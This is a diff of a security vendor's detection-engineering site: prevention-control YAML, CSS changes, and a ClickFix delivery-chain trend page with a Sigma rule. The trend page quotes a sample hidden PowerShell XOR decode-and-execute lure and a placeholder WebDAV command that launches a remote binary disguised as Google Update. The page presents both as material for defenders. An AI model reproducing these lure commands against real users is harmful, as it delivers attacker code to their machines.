Control: Block known EDR-killer binaries by name, hash, and publisher signature
Impact: Prevents bypass tools from executing regardless of which EDR is being targeted;
does not rely on the security tool the attacker is trying to disable.
MagicSwordFit: MagicSword's built-in intelligence classifies and blocks EDR-killer binaries
as they are identified, including EDRKillShifter, PCHunter, and ProcessHacker variants
used as LOLBAS in bypass chains.
MagicSwordTag: edr-killers
- Category: Endpoint · Application Control
Control: Enforce HVCI and Microsoft's Vulnerable Driver Blocklist to block BYOVD attacks
Impact: Removes the kernel escalation path that the majority of BYOVD-based EDR killers
depend on; no vulnerable driver = no kernel-level bypass.
MagicSwordFit: MagicSword tracks vulnerable driver publishers and can block driver loads
from untrusted or revoked signers before they reach the kernel.
MagicSwordTag: byovd
- Category: Endpoint
Control: Deploy Windows Credential Guard and Virtualization-Based Security (VBS)
Impact: Reduces the kernel attack surface available to BYOVD techniques without requiring
per-driver blocklist maintenance; hardens the platform beneath the EDR stack.
@@ -370,3 +370,24 @@ EmulationScript:
SafetyNotes: Requires Administrator. Creates dummy test services. Optionally targets VSS. Lab VM only.
AtomicRef: T1562.001
TheConstant: SYSTEM-level process → service enumeration → bulk service stop/delete → encryption begins
PreventionSummary: >
Ransomware's pre-encryption kill phase relies on a small set of well-known binaries to stop
security and backup services. Application control can block or alert on these tools before
they succeed, buying defenders critical response time before encryption begins.
PreventionOpportunities:
- Category: Endpoint · Application Control
Control: Restrict which processes may invoke service stop/delete commands
Impact: Blocks or delays the pre-encryption kill phase; even a short delay gives defenders
time to intervene before files are encrypted.
MagicSwordFit: MagicSword's Spawn Control rules restrict which parent processes can invoke
service-manipulation binaries (sc.exe, net.exe, taskkill.exe), blocking ransomware kill
scripts without affecting legitimate IT workflows.
MagicSwordTag: lolbas
- Category: Endpoint
Control: Enable Tamper Protection on your EDR/AV and all security tools
Impact: Prevents security services from being stopped even by processes running as SYSTEM,
preserving visibility at the point when it matters most.
- Category: Backup
Control: Enforce immutable, offline-separated backups and restrict vssadmin access
Impact: Preserves recovery options even if ransomware completes its kill list; removes the
business leverage that makes ransom payment attractive.
@@ -687,3 +687,27 @@ EmulationScript:
SafetyNotes: Run in isolated lab VM only. Makes a benign outbound HTTP request to example.com.
AtomicRef: T1204.004
TheConstant: Clipboard write → user pastes into interpreter → outbound C2 connection
PreventionSummary: >
ClickFix works because browsers can write to the clipboard and users can run whatever is
pasted into them. Restricting which interpreters browsers are permitted to spawn limits
damage when users fall for the lure, even without blocking the lure page itself.
PreventionOpportunities:
- Category: Endpoint · Application Control
Control: Block scripting interpreters (mshta.exe, wscript.exe, powershell.exe, cscript.exe)
spawned by browsers or shell processes on standard user workstations
Impact: Breaks the ClickFix chain at interpreter spawn — even if the user pastes and
executes the command, no interpreter is permitted to run.
MagicSwordFit: MagicSword's Spawn Control rules restrict which child processes browsers
are permitted to spawn, blocking clipboard-delivered payloads without breaking
legitimate browser behavior.
MagicSwordTag: lolbas
- Category: Endpoint
Control: Restrict Run dialog execution and enforce PowerShell Constrained Language Mode
on standard user workstations
Impact: Raises the bar for successful clipboard payload execution without a secondary
privilege escalation step.
- Category: Network
Control: Deploy DNS filtering to block newly-registered domains and known ClickFix
distribution infrastructure before the lure page loads
Impact: Prevents the malicious page from loading and writing to the clipboard in the
first place; effective at stopping commodity campaigns that rely on fresh domain churn.
@@ -678,3 +678,25 @@ EmulationScript:
SafetyNotes: Run in isolated lab VM only. Uses a benign Windows binary renamed to a campaign filename.
AtomicRef: T1219.002
TheConstant: Browser download → renamed signed binary execution → persistent RMM C2 connection
PreventionSummary: >
Restricting which RMM tools are permitted to run on endpoints breaks the C2 persistence phase
before it starts. Signer-based and inventory-based allow rules catch renamed binaries that
bypass filename controls, because the vendor signature is preserved regardless of the filename.
PreventionOpportunities:
- Category: Endpoint · Application Control
Control: Block RMM tools not on your authorized inventory
Impact: Stops C2 session establishment regardless of which tool or rename trick is used.
MagicSwordFit: MagicSword maintains a live, threat-intelligence-backed inventory of 100+ RMM tools
and blocks unauthorized ones by default — updated every 2 hours as new tools are weaponized.
MagicSwordTag: rmm-abuse
- Category: Endpoint · Application Control
Control: Enforce signer-based allow rules for remote access software
Impact: Catches binaries renamed to appear as invoices or installers, because the original vendor
signature is preserved and verifiable regardless of the filename.
MagicSwordFit: MagicSword's signer-based policy blocks any RMM binary not explicitly approved,
even when renamed or placed in an unexpected path.
MagicSwordTag: rmm-abuse
- Category: Network
Control: Alert on new outbound connections to unlisted RMM infrastructure domains
Impact: Contains C2 persistence even if the binary executes past endpoint controls; limits the
attacker's ability to maintain access after the initial session.
@@ -455,3 +455,24 @@ EmulationScript:
SafetyNotes: Requires Administrator. All activity targets localhost only. Run in isolated lab VM.
AtomicRef: T1021.002
TheConstant: Valid admin credentials → authenticated protocol (SMB/WMI/WinRM) → remote command execution
PreventionSummary: >
Valid credentials alone are not sufficient if the offensive tools that use them are blocked.
Restricting dual-use admin utilities (PsExec, Impacket, NetExec) from executing on endpoints
prevents lateral movement even when an attacker has valid admin credentials.
PreventionOpportunities:
- Category: Endpoint · Application Control
Control: Block dual-use offensive tools from executing on workstations and servers
Impact: Prevents lateral movement even when the attacker holds valid admin credentials — the
tools themselves become the chokepoint that is blocked.
MagicSwordFit: MagicSword's LOLBAS / dual-use controls block offensive admin tools
(Impacket, NetExec, PsExec, CrackMapExec) by default, with policy tuned to allow only
what your teams legitimately need.
MagicSwordTag: lolbas
- Category: Identity
Control: Enforce tiered admin accounts with MFA and eliminate standing admin access
Impact: Valid credentials are harder to obtain and reuse across the network; removes the
"credentials = immediate access" assumption.
- Category: Network
Control: Segment workstation-to-workstation SMB (445/TCP) and WMI (135/TCP) traffic
Impact: Blocks the lateral movement protocols at the network layer even if tools execute,
limiting the blast radius of any single compromised host.
+20
View File
@@ -599,3 +599,23 @@ EmulationScript:
SafetyNotes: Run in isolated lab VM only. Creates a text file (not executable) in a test web directory.
AtomicRef: T1505.003
TheConstant: HTTP request → web server process → child OS interpreter
PreventionSummary: >
Web shells persist because web server processes are permitted to write files to their own
directories and spawn child OS interpreters. Restricting those two behaviors eliminates the
chokepoint regardless of the vulnerability used for initial access.
PreventionOpportunities:
- Category: Endpoint · Application Control
Control: Restrict web server processes from spawning OS interpreters as child processes
Impact: Eliminates the primary web shell execution chokepoint; even if a shell file is
written to disk, it cannot spawn interactive processes.
MagicSwordFit: MagicSword's Spawn Control rules enforce which child processes web server
processes (IIS, Apache, nginx) are permitted to execute, blocking OS interpreter spawns.
MagicSwordTag: lolbas
- Category: Endpoint
Control: Apply strict filesystem write restrictions to web-accessible directories
Impact: Prevents shell files from being written to directories served by the web server;
eliminates the delivery mechanism regardless of which vulnerability is exploited.
- Category: Network
Control: Deploy a Web Application Firewall (WAF) with rules for shell upload patterns
Impact: Provides a network-layer control that can block web shell uploads before they
reach the server, complementing host-based restrictions.
+29 -12
View File
@@ -8,9 +8,8 @@ description: A practical methodology for identifying durable detection chokepoin
/* ── Hero ── */
.hero {
position: relative;
padding: 4rem 1.5rem 3rem;
border-bottom: 1px solid var(--border);
background: linear-gradient(160deg, var(--bg) 0%, var(--bg-card) 50%, var(--bg) 100%);
padding: 5.5rem 1.5rem 5rem;
background: var(--bg);
overflow: hidden;
text-align: center;
}
@@ -18,18 +17,30 @@ description: A practical methodology for identifying durable detection chokepoin
content: "";
position: absolute;
inset: 0;
background: radial-gradient(ellipse 60% 50% at 50% 0%, rgba(240,136,62,.12) 0%, transparent 70%);
background: radial-gradient(ellipse 80% 55% at 50% -5%, rgba(240,136,62,.18) 0%, transparent 65%);
pointer-events: none;
}
.hero-inner { max-width: 720px; margin: 0 auto; position: relative; }
.hero h1 { font-size: 2.25rem; font-weight: 700; margin-bottom: 0.75rem; }
.hero .subtitle { font-size: 1.1rem; color: var(--text-muted); line-height: 1.7; margin: 0 auto; }
.hero::after {
content: "";
position: absolute;
bottom: 0; left: 0; right: 0;
height: 1px;
background: linear-gradient(to right, transparent, var(--border) 20%, var(--border) 80%, transparent);
}
.hero-inner { max-width: 680px; margin: 0 auto; position: relative; }
.hero h1 { font-size: 2.75rem; font-weight: 800; letter-spacing: -.02em; margin-bottom: 0.75rem; }
.hero .subtitle { font-size: 1rem; color: var(--text-muted); max-width: 580px; line-height: 1.8; margin: 0 auto; }
/* ── Section containers ── */
.fw-content { max-width: var(--max-w); margin: 0 auto; padding: 0 1.5rem; }
.fw-content { max-width: 1100px; margin: 0 auto; padding: 0 1.5rem; }
.fw-section { padding: 3rem 0; border-bottom: 1px solid var(--border); }
.fw-section:last-child { border-bottom: none; }
.fw-section h2 { font-size: 1.5rem; font-weight: 700; margin-bottom: 1.5rem; }
.fw-section h2 {
font-size: 1.5rem; font-weight: 700; margin-bottom: 1.5rem;
border-bottom: 1px solid transparent;
border-image: linear-gradient(to right, var(--accent), var(--border) 35%, transparent) 1;
padding-bottom: .4rem;
}
/* ── Step cards ── */
.steps-grid {
@@ -41,12 +52,13 @@ description: A practical methodology for identifying durable detection chokepoin
.step-card {
background: var(--bg-card); border: 1px solid var(--border);
border-radius: var(--radius-lg); padding: 1.5rem; position: relative;
transition: border-color 0.2s, box-shadow 0.2s, background 0.2s;
transition: border-color 0.2s, box-shadow 0.2s, background 0.2s, transform 0.2s;
cursor: pointer;
display: flex; flex-direction: column;
box-shadow: 0 4px 16px rgba(0,0,0,0.2), inset 0 1px 0 rgba(255,255,255,0.04);
}
.step-card:hover { border-color: var(--accent); box-shadow: 0 0 0 1px var(--accent); }
.step-card.active { border-color: var(--accent); box-shadow: 0 0 0 1px var(--accent); background: var(--bg-card-hover); }
.step-card:hover { border-color: var(--accent); box-shadow: 0 0 0 1px var(--accent), 0 8px 24px rgba(0,0,0,0.25); transform: translateY(-1px); }
.step-card.active { border-color: var(--accent); box-shadow: 0 0 0 1px var(--accent), 0 8px 24px rgba(0,0,0,0.25); background: var(--bg-card-hover); }
.step-num {
display: inline-flex; align-items: center; justify-content: center;
width: 32px; height: 32px; border-radius: 50%;
@@ -70,6 +82,7 @@ description: A practical methodology for identifying durable detection chokepoin
border-radius: var(--radius-lg);
display: none;
position: relative;
box-shadow: 0 0 0 1px rgba(240,136,62,0.2), 0 8px 24px rgba(0,0,0,0.25), inset 0 1px 0 rgba(255,255,255,0.04);
}
#step-detail-panel.visible { display: block; }
#step-detail-panel .detail-close {
@@ -94,6 +107,7 @@ description: A practical methodology for identifying durable detection chokepoin
.maturity-card {
background: var(--bg-card); border: 1px solid var(--border);
border-radius: var(--radius-lg); padding: 1.5rem; position: relative; overflow: hidden;
box-shadow: 0 4px 16px rgba(0,0,0,0.2), inset 0 1px 0 rgba(255,255,255,0.04);
}
.maturity-card::before {
content: ''; position: absolute; left: 0; top: 0; bottom: 0; width: 4px;
@@ -122,6 +136,7 @@ description: A practical methodology for identifying durable detection chokepoin
.compare-card {
background: var(--bg-card); border: 1px solid var(--border);
border-radius: var(--radius-lg); padding: 1.5rem;
box-shadow: 0 4px 16px rgba(0,0,0,0.2), inset 0 1px 0 rgba(255,255,255,0.04);
}
.compare-card.bad { border-left: 4px solid var(--critical); }
.compare-card.good { border-left: 4px solid var(--low); }
@@ -144,6 +159,7 @@ description: A practical methodology for identifying durable detection chokepoin
#graph-container {
background: var(--bg-card); border: 1px solid var(--border);
border-radius: var(--radius-lg); overflow: hidden; position: relative;
box-shadow: 0 4px 16px rgba(0,0,0,0.2), inset 0 1px 0 rgba(255,255,255,0.04);
}
.graph-controls {
display: flex; gap: 0.5rem; padding: 1rem 1.25rem;
@@ -185,6 +201,7 @@ svg text { font-family: var(--font-sans); }
background: var(--bg-card); border: 1px solid var(--border);
border-radius: var(--radius); padding: 1.25rem;
display: flex; gap: 0.75rem; align-items: flex-start;
box-shadow: 0 4px 16px rgba(0,0,0,0.2), inset 0 1px 0 rgba(255,255,255,0.04);
}
.test-icon {
flex-shrink: 0; width: 36px; height: 36px;
+261 -259
View File
@@ -9,7 +9,7 @@ permalink: /trends/clickgrab/
/* ── Page layout ────────────────────────────────────────────────────────── */
.cg-page { }
.cg-page h1 { font-size: 1.6rem; font-weight: 700; color: var(--text); margin-bottom: .25rem; }
.cg-page h2 { font-size: 1.15rem; font-weight: 600; color: var(--text); margin: 2.5rem 0 .75rem; border-bottom: 1px solid var(--border); padding-bottom: .4rem; }
.cg-page h2 { font-size: 1.15rem; font-weight: 700; color: var(--text); margin: 2.5rem 0 .75rem; border-bottom: 1px solid transparent; border-image: linear-gradient(to right, var(--accent), var(--border) 35%, transparent) 1; padding-bottom: .4rem; }
.cg-page h3 { font-size: 1rem; font-weight: 600; color: var(--text); margin: 1.5rem 0 .5rem; }
.cg-page p, .cg-page li { color: var(--text-muted); font-size: .9rem; line-height: 1.7; }
.cg-page a { color: var(--link); }
@@ -17,8 +17,8 @@ permalink: /trends/clickgrab/
/* ── Stats row ──────────────────────────────────────────────────────────── */
.cg-stats { display: flex; gap: 1rem; flex-wrap: wrap; margin: 1.25rem 0 2rem; }
.cg-stat { flex: 1 1 140px; background: var(--bg-card); border: 1px solid var(--border); border-radius: 8px; padding: .85rem 1rem; }
.cg-stat-val { font-size: 1.5rem; font-weight: 700; color: var(--text); font-family: ui-monospace, monospace; line-height: 1.2; }
.cg-stat { flex: 1 1 140px; background: var(--bg-card); border: 1px solid var(--border); border-radius: 8px; padding: .85rem 1rem; box-shadow: 0 4px 16px rgba(0,0,0,0.25), inset 0 1px 0 rgba(255,255,255,0.04); }
.cg-stat-val { font-size: 1.85rem; font-weight: 700; color: var(--text); font-family: ui-monospace, monospace; line-height: 1.2; }
.cg-stat-lbl { font-size: .72rem; color: var(--text-muted); margin-top: .2rem; text-transform: uppercase; letter-spacing: .04em; }
/* ── Framework chain map ────────────────────────────────────────────────── */
@@ -33,9 +33,9 @@ permalink: /trends/clickgrab/
.cg-chain-stage:first-child { border-radius: 6px 0 0 6px; }
.cg-chain-stage:last-child { border-radius: 0 6px 6px 0; }
.cg-chain-stage--blind { border-top: 3px solid var(--border); }
.cg-chain-stage--t1 { border-top: 3px solid var(--high); }
.cg-chain-stage--t2 { border-top: 3px solid var(--accent); }
.cg-chain-stage--t3 { border-top: 3px solid var(--critical); }
.cg-chain-stage--t1 { border-top: 3px solid var(--high); box-shadow: inset 0 3px 10px -5px rgba(227,179,65,0.4); }
.cg-chain-stage--t2 { border-top: 3px solid var(--accent); box-shadow: inset 0 3px 10px -5px rgba(240,136,62,0.4); }
.cg-chain-stage--t3 { border-top: 3px solid var(--critical); box-shadow: inset 0 3px 10px -5px rgba(218,54,51,0.4); }
.cg-chain-label { font-size: .72rem; font-weight: 600; color: var(--text); line-height: 1.3; display: block; }
.cg-chain-sub { font-size: .62rem; color: var(--text-muted); margin-top: .25rem; display: block; }
.cg-tier-badge { display: inline-block; font-size: .6rem; font-weight: 700; padding: .1rem .35rem; border-radius: 3px; margin-top: .35rem; letter-spacing: .03em; }
@@ -54,19 +54,22 @@ permalink: /trends/clickgrab/
/* ── Callout boxes ──────────────────────────────────────────────────────── */
.cg-callout { border-radius: 6px; padding: .85rem 1rem; margin: .75rem 0; font-size: .875rem; border-left: 3px solid; }
.cg-callout--warn { background: rgba(227,179,65,.08); border-color: var(--high); color: var(--text); }
.cg-callout--alert { background: rgba(218,54,51,.08); border-color: var(--critical); color: var(--text); }
.cg-callout--info { background: rgba(56,139,253,.08); border-color: var(--low); color: var(--text); }
.cg-callout--tip { background: rgba(63,185,80,.08); border-color: var(--medium); color: var(--text); }
.cg-callout--warn { background: rgba(227,179,65,.08); border-color: var(--high); color: var(--text); box-shadow: inset 3px 0 12px -5px rgba(227,179,65,0.35); }
.cg-callout--alert { background: rgba(218,54,51,.08); border-color: var(--critical); color: var(--text); box-shadow: inset 3px 0 12px -5px rgba(218,54,51,0.35); }
.cg-callout--info { background: rgba(56,139,253,.08); border-color: var(--low); color: var(--text); box-shadow: inset 3px 0 12px -5px rgba(56,139,253,0.35); }
.cg-callout--tip { background: rgba(63,185,80,.08); border-color: var(--medium); color: var(--text); box-shadow: inset 3px 0 12px -5px rgba(63,185,80,0.35); }
.cg-callout strong { color: var(--text); }
/* ── Staging domain table ───────────────────────────────────────────────── */
.cg-table { width: 100%; border-collapse: collapse; font-size: .85rem; margin: .75rem 0 1.5rem; }
.cg-table th { text-align: left; color: var(--text-muted); font-size: .72rem; text-transform: uppercase; letter-spacing: .04em; border-bottom: 1px solid var(--border); padding: .4rem .6rem; font-weight: 600; }
.cg-table td { padding: .45rem .6rem; border-bottom: 1px solid var(--border); color: var(--text); font-family: ui-monospace, monospace; font-size: .82rem; }
.cg-table td { padding: .45rem .6rem; border-bottom: 1px solid var(--border); color: var(--text); font-family: ui-monospace, monospace; font-size: .82rem; transition: background .1s; }
.cg-table tr:hover td { background: rgba(255,255,255,0.02); }
.cg-table tr:last-child td { border-bottom: none; }
.cg-badge-cdn { display: inline-block; background: rgba(227,179,65,.15); color: var(--high); font-size: .65rem; font-weight: 700; padding: .1rem .3rem; border-radius: 3px; letter-spacing: .03em; }
.cg-badge-ip { display: inline-block; background: rgba(240,136,62,.15); color: var(--accent); font-size: .65rem; font-weight: 700; padding: .1rem .3rem; border-radius: 3px; letter-spacing: .03em; }
.cg-badge-cdn { display: inline-block; background: rgba(227,179,65,.15); color: var(--high); font-size: .65rem; font-weight: 700; padding: .1rem .3rem; border-radius: 3px; letter-spacing: .03em; }
.cg-badge-ip { display: inline-block; background: rgba(240,136,62,.15); color: var(--accent); font-size: .65rem; font-weight: 700; padding: .1rem .3rem; border-radius: 3px; letter-spacing: .03em; }
.cg-badge-bp { display: inline-block; background: rgba(218,54,51,.15); color: var(--critical); font-size: .65rem; font-weight: 700; padding: .1rem .3rem; border-radius: 3px; letter-spacing: .03em; }
.cg-badge-comp { display: inline-block; background: rgba(139,92,246,.15); color: #8b5cf6; font-size: .65rem; font-weight: 700; padding: .1rem .3rem; border-radius: 3px; letter-spacing: .03em; }
/* ── Recommendation list ────────────────────────────────────────────────── */
.cg-rec { display: flex; gap: .75rem; align-items: flex-start; padding: .6rem 0; border-bottom: 1px solid var(--border); }
@@ -109,12 +112,20 @@ permalink: /trends/clickgrab/
padding: .35rem .75rem;
text-decoration: none;
border-left: 2px solid transparent;
transition: color .15s, border-color .15s;
border-radius: 0 3px 3px 0;
transition: color .15s, border-color .15s, background .15s;
}
.trends-sidebar a:hover {
color: var(--text-muted);
text-decoration: none;
background: rgba(255,255,255,0.025);
}
.trends-sidebar a:hover { color: var(--text-muted); text-decoration: none; }
.trends-sidebar a.active {
color: var(--text, #c9d1d9);
border-left-color: var(--accent, #f0883e);
font-weight: 500;
border-left: 3px solid var(--accent, #f0883e);
box-shadow: inset 3px 0 8px -4px rgba(240,136,62,0.4);
background: rgba(240,136,62,0.07);
}
.trends-content {
flex: 1;
@@ -137,6 +148,38 @@ permalink: /trends/clickgrab/
.trends-sidebar a.active { border-bottom-color: var(--accent); border-left-color: transparent; }
.trends-content { padding-bottom: 3.5rem; }
}
/* ── Detection rec cards (matches edge exploits page) ── */
.det-rec {
background: var(--bg-card); border: 1px solid var(--border);
border-radius: 6px; margin: 1rem 0; overflow: hidden;
}
.det-rec-header {
display: flex; align-items: flex-start; gap: 0.8rem;
padding: 1rem 1.2rem;
}
.det-rec-tier {
font-family: var(--font-mono); font-size: 0.65rem;
font-weight: 700; letter-spacing: 0.08em;
padding: 3px 10px; border-radius: 3px;
white-space: nowrap; margin-top: 2px; flex-shrink: 0;
}
.det-rec-title { font-weight: 600; color: var(--text); font-size: 0.92rem; line-height: 1.4; }
.det-rec-desc { color: var(--text-muted); font-size: 0.85rem; margin-top: 0.3rem; line-height: 1.5; }
.det-rec details { padding: 0 1.2rem; margin: 0; }
.det-rec details[open] { padding-bottom: 1rem; }
.det-rec summary {
font-family: var(--font-mono); font-size: 0.75rem;
color: var(--text-muted); cursor: pointer; margin: 0; padding: 0.5rem 0;
list-style: none; display: flex; align-items: center; gap: 0.4rem;
}
.det-rec summary::-webkit-details-marker { display: none; }
.det-rec summary::before { content: "›"; color: var(--text-dim); transition: transform .15s; }
details[open] > summary::before { transform: rotate(90deg); }
details[open] > summary { margin-bottom: 0.4rem; }
.tier-1 { background: rgba(218,54,51,0.15); color: var(--critical); }
.tier-2 { background: rgba(240,136,62,0.15); color: var(--accent); }
.tier-na { background: rgba(107,114,128,0.15); color: var(--text-muted); }
</style>
<div class="trends-layout">
@@ -158,7 +201,7 @@ permalink: /trends/clickgrab/
<h1>ClickFix Delivery Chain: Trend Analysis</h1>
<p class="cg-meta">
Data: <a href="https://github.com/mhaggis/ClickGrab" target="_blank" rel="noopener">MHaggis ClickGrab</a> + <a href="https://clickfix.carsonww.com/" target="_blank" rel="noopener">ClickFix Hunter</a>
&nbsp;·&nbsp; Period: Apr 2025 – Apr 2026
&nbsp;·&nbsp; Period: Apr 2025 – May 2026
&nbsp;·&nbsp; {{ site.data.clickgrab_trends.meta.total_reports }} nightly reports + {{ site.data.clickgrab_trends.meta.total_domains }} domains
&nbsp;·&nbsp; Generated: {{ site.data.clickgrab_trends.meta.generated }}
</p>
@@ -244,6 +287,10 @@ permalink: /trends/clickgrab/
<div id="cg-chart-volume"></div>
</div>
<div class="cg-callout cg-callout--alert">
<strong>May 2026: 95.2% of domains now carry inline payloads.</strong> Up from 75% in April and 47% in March, the no-URL rate has hit a new high. Base64 accounts for 87% of May domains (399/458). A new delivery variant also appeared: <code>conhost --headless cmd /c "pushd \\IP@port\DavWWWRoot &amp;&amp; start GoogleUpdate"</code> mounts a WebDAV share and launches a binary impersonating Google Update — no PowerShell, no HTTP fetch, no URL in the clipboard command at all. Your T1105 network-fetch detection never fires. The behavioral chokepoint that does fire: unusual parent process spawning <code>conhost.exe</code> or <code>cmd.exe</code> with a UNC path argument.
</div>
<!-- ── Chart B: Cradle Family Evolution ──────────────────────────────── -->
<h2 id="cradles">T1105 Ingress Tool Transfer: Cradle Family Evolution</h2>
<p>The network fetch <em>was</em> the unavoidable action. This chart shows how adversaries rotated their download method as defenders tuned IWR/IEX-specific detections, and why that rotation actually validates the chokepoint approach.</p>
@@ -279,7 +326,7 @@ permalink: /trends/clickgrab/
</div>
<div class="cg-callout cg-callout--warn">
<strong>Base64 isn't plateauing. It's accelerating.</strong> 19.5% in March, 54.2% in April. If your rules match plaintext <code>iwr https://</code> strings, you're seeing the encoded version now, not the decoded cradle. Detect the encoding act: <code>[Convert]::FromBase64String</code> piped to <code>iex</code>. Or detect <code>-enc</code> on the command line from an unusual parent. The content is opaque; the execution context isn't.
<strong>Base64 isn't plateauing. It's now the default.</strong> 19.5% in March, 54.2% in April, <strong>87% in May</strong> (399/458 domains). If your rules match plaintext <code>iwr https://</code> strings, you're seeing the encoded version now, not the decoded cradle. Detect the encoding act: <code>[Convert]::FromBase64String</code> piped to <code>iex</code>. Or detect <code>-enc</code> on the command line from an unusual parent. The content is opaque; the execution context isn't.
</div>
<div class="cg-callout cg-callout--warn">
@@ -303,19 +350,19 @@ permalink: /trends/clickgrab/
<!-- ── Inline Payloads ─────────────────────────────────────────── -->
<h2 id="inline">Strategic Shift: Inline Payloads Bypassing Network Fetch Detection</h2>
<p>Here's the finding that changes the detection calculus: <strong>75% of April 2026 domains have no URL in the clipboard command at all.</strong> Up from 28% in August. The payload is entirely inline. The user pastes everything needed, and nothing reaches out to a staging server. Your network-fetch detection? It never fires.</p>
<p>Here's the finding that changes the detection calculus: <strong>95% of May 2026 domains have no URL in the clipboard command at all.</strong> Up from 28% in August. The payload is entirely inline. The user pastes everything needed, and nothing reaches out to a staging server. Your network-fetch detection? It never fires.</p>
<p>Three techniques are driving this: <strong>hex XOR</strong> (<code>$k/$d</code> variable patterns with <code>-bxor</code> decoding, 62 instances in March), <strong>Base64 <code>-enc</code></strong> (over half of April samples), and <strong>direct embedding</strong> with no obfuscation at all. The social engineering does double duty. Fake CAPTCHA comments inside the payload reinforce the lure:</p>
<p>Base64 now accounts for 87% of May domains (399/458) — it's not one technique among several, it's the default. Two other techniques appear in smaller numbers: <strong>hex XOR</strong> (<code>$k/$d</code> variable patterns with <code>-bxor</code> decoding, 62 instances in March), and a newer <strong>WebDAV delivery</strong> variant using <code>conhost --headless cmd /c "pushd \\IP@port\DavWWWRoot &amp;&amp; start GoogleUpdate"</code> — no PowerShell, no HTTP, nothing to intercept at the network layer. The social engineering does double duty. Fake CAPTCHA comments inside the payload reinforce the lure:</p>
<pre class="logic-block rounded-lg p-4 overflow-x-auto text-[.8rem]"><code>powershell -w hidden &lt;# I am not a robot - Cloudflare ID: 8e3f2a #&gt; $k='xK9mP2';$d='4a5b6c...';
$b=[byte[]]@();for($i=0;$i-lt$d.Length;$i+=2){$b+=[byte]("0x"+$d.Substring($i,2))-bxor[byte]$k[$i%$k.Length]};
iex([Text.Encoding]::UTF8.GetString($b))</code></pre>
<div class="cg-callout cg-callout--alert">
<strong>Your network-fetch detection covers half the threat now.</strong> 46% of March and 75% of April domains skip the remote fetch entirely. You need a parallel detection for the decode-and-execute pattern: unusual parent → PowerShell with <code>-enc</code>, <code>-bxor</code> operations, or <code>[Convert]::FromBase64String</code> piped to <code>iex</code>. Neither detection alone is sufficient anymore. Run both.
<strong>Your network-fetch detection covers 5% of the threat now.</strong> 95% of May 2026 domains skip the remote fetch entirely. You need a parallel detection for the decode-and-execute pattern: unusual parent → PowerShell with <code>-enc</code>, <code>-bxor</code> operations, or <code>[Convert]::FromBase64String</code> piped to <code>iex</code>. Neither detection alone is sufficient anymore. Run both. And if you're not alerting on <code>conhost --headless</code> spawning <code>cmd.exe</code> with a UNC path argument, you have a blind spot for the WebDAV variant entirely.
</div>
<p>Monthly no-URL trend: Aug 28% → Sep 32% → Oct 32% → Nov 6% → Dec 19% → Jan 44% → Feb 30% → <strong>Mar 47% → Apr 75%</strong>.</p>
<p>Monthly no-URL trend: Aug 28% → Sep 32% → Oct 32% → Nov 6% → Dec 19% → Jan 44% → Feb 30% → Mar 47% → Apr 75% → <strong>May 95%</strong>.</p>
<h3>Port 5506 C2 Infrastructure Cluster</h3>
<p>333 domains call back to port 5506 across 14 IPs in a few /24 ranges. One operator, one port, zero legitimate services using 5506. This is the kind of infrastructure fingerprint that makes network detection easy.</p>
@@ -354,11 +401,16 @@ iex([Text.Encoding]::UTF8.GetString($b))</code></pre>
<td>
{% if d.cdn %}<span class="cg-badge-cdn">CDN</span>
{% elsif d.is_ip %}<span class="cg-badge-ip">IP</span>
{% elsif d.hosting_type == "bulletproof" %}<span class="cg-badge-bp">BP</span>
{% elsif d.hosting_type == "compromised" %}<span class="cg-badge-comp">COMP</span>
{% elsif d.hosting_type == "managed" %}<span class="cg-badge-cdn">MGD</span>
{% else %}-{% endif %}
</td>
<td style="color:var(--text-muted);font-family:inherit;font-size:.8rem;">
{% if d.cdn %}Domain reputation blocklists ineffective (legitimate CDN provider)
{% elsif d.domain contains "wpengine.com" %}Managed WP hosting. Likely compromised; blocklist removes legitimate sites
{% elsif d.hosting_type == "bulletproof" %}Abuse-tolerant VPS — takedown requests ignored; block by ASN or IP range
{% elsif d.hosting_type == "compromised" %}Legitimate site used as payload host — blocking harms the victim domain
{% elsif d.domain contains "wpengine.com" %}Managed WP hosting — blocklist removes legitimate sites
{% elsif d.domain contains "blogspot.com" or d.domain contains "blogger.com" %}Google-hosted; domain blocking would block all of Blogger
{% else %}-{% endif %}
</td>
@@ -432,18 +484,25 @@ iex([Text.Encoding]::UTF8.GetString($b))</code></pre>
<h2 id="recommendations">Detection Recommendations</h2>
<p>Each recommendation maps to the ATT&CK technique it detects. The ones at the top survived every cradle rotation, every obfuscation pivot, and every infrastructure change in this dataset. The ones lower down are still valuable but more brittle.</p>
<div class="cg-rec">
<div class="cg-rec-tier"><span class="cg-tier-badge cg-tier-t1" style="display:block;text-align:center;padding:.25rem .5rem;">T1059</span></div>
<div class="cg-rec-body">
<strong>Detect unusual parent → PowerShell spawn</strong>
Correlate <code>explorer.exe</code> or <code>cmd.exe</code> (from Run dialog) spawning <code>powershell.exe</code> with a window-hidden flag. This signal is constant regardless of cradle family rotation. See <a href="https://github.com/{{ site.github_username }}/{{ site.github_repo }}/blob/main/sigma-rules/clickfix/hunt.yml" target="_blank" rel="noopener">sigma-rules/clickfix/hunt.yml</a>.
<div class="cg-rec-examples">
<button class="cg-rec-examples-toggle collapsible-header" aria-expanded="false"
data-target="logic-ex-hidden">
<span class="collapsible-chevron">›</span>
Example detection logic
</button>
<div id="logic-ex-hidden" class="collapsible-body collapsed">
<div class="det-rec">
<div class="det-rec-header">
<span class="det-rec-tier tier-1">T1059</span>
<div>
<div class="det-rec-title">Detect unusual parent → PowerShell spawn</div>
<div class="det-rec-desc">Correlate <code>explorer.exe</code> or <code>cmd.exe</code> (from Run dialog) spawning <code>powershell.exe</code> with a window-hidden flag. This signal is constant regardless of cradle family rotation. See <a href="https://github.com/{{ site.github_username }}/{{ site.github_repo }}/blob/main/sigma-rules/clickfix/hunt.yml" target="_blank" rel="noopener">sigma-rules/clickfix/hunt.yml</a>.</div>
</div>
</div>
{% if site.data.clickgrab_trends.payload_examples.hidden_window.size > 0 %}
<details>
<summary>Observed payloads ({{ site.data.clickgrab_trends.payload_examples.hidden_window | size }})</summary>
{% for ex in site.data.clickgrab_trends.payload_examples.hidden_window %}
<pre class="cg-payload-example"><code>{{ ex.text }}</code></pre>
<div class="cg-payload-meta">Observed: {{ ex.date }}</div>
{% endfor %}
</details>
{% endif %}
<details>
<summary>Example detection logic</summary>
<pre class="cg-payload-example"><code>title: Browser or Explorer Spawning Hidden PowerShell
logsource:
category: process_creation
@@ -469,38 +528,53 @@ detection:
- '-NoProfile'
condition: selection_interp and selection_parent and selection_hidden
level: high</code></pre>
</div>
</div>
{% if site.data.clickgrab_trends.payload_examples.hidden_window.size > 0 %}
